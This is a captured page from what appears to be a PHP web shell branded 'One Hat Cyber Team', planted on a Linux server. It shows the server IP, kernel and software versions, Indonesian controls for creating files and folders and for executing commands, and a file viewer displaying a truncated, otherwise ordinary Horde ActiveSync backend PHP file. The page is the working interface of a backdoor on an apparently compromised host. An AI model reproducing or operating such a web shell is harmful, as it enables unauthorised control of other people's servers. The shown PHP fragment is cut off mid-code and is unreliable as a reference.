⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Core
/
Factory
/
View File Name :
ActiveSyncBackend.php
$registry); $adapter_params = array('factory' => new Horde_Core_ActiveSync_Imap_Factory()); // Force emailsync to off if we don't have a mail API. if (!$registry->hasInterface('mail')) { $conf['activesync']['emailsync'] = false; } $driver_params = array( 'connector' => new Horde_Core_ActiveSync_Connector($params), 'imap' => !empty($conf['activesync']['emailsync']) ? new Horde_ActiveSync_Imap_Adapter($adapter_params) : null, 'ping' => $conf['activesync']['ping'], 'state' => $injector->getInstance('Horde_ActiveSyncState'), 'auth' => $this->_getAuth(), 'cache' => $injector->getInstance('Horde_Cache')); return new Horde_Core_ActiveSync_Driver($driver_params); } /** * Factory for ActiveSync Auth object. * * @return Horde_Core_ActiveSync_Auth */ protected function _getAuth() { global $conf, $injector; $params = array( 'base_driver' => $injector->getInstance('Horde_Core_Factory_Auth')->create(), ); if ($conf['activesync']['auth']['type'] != 'basic') { $x_params = $conf['activesync']['auth']['params']; $x_params['default_user'] = $GLOBALS['registry']->getAuth(); $x_params['logger'] = $this->_injector->getInstance('Horde_Log_Logger'); $params['transparent_driver'] = Horde_Auth::factory('Horde_Core_Auth_X509', $x_params); } $obj = new Horde_Core_ActiveSync_Auth($params); return $obj; } }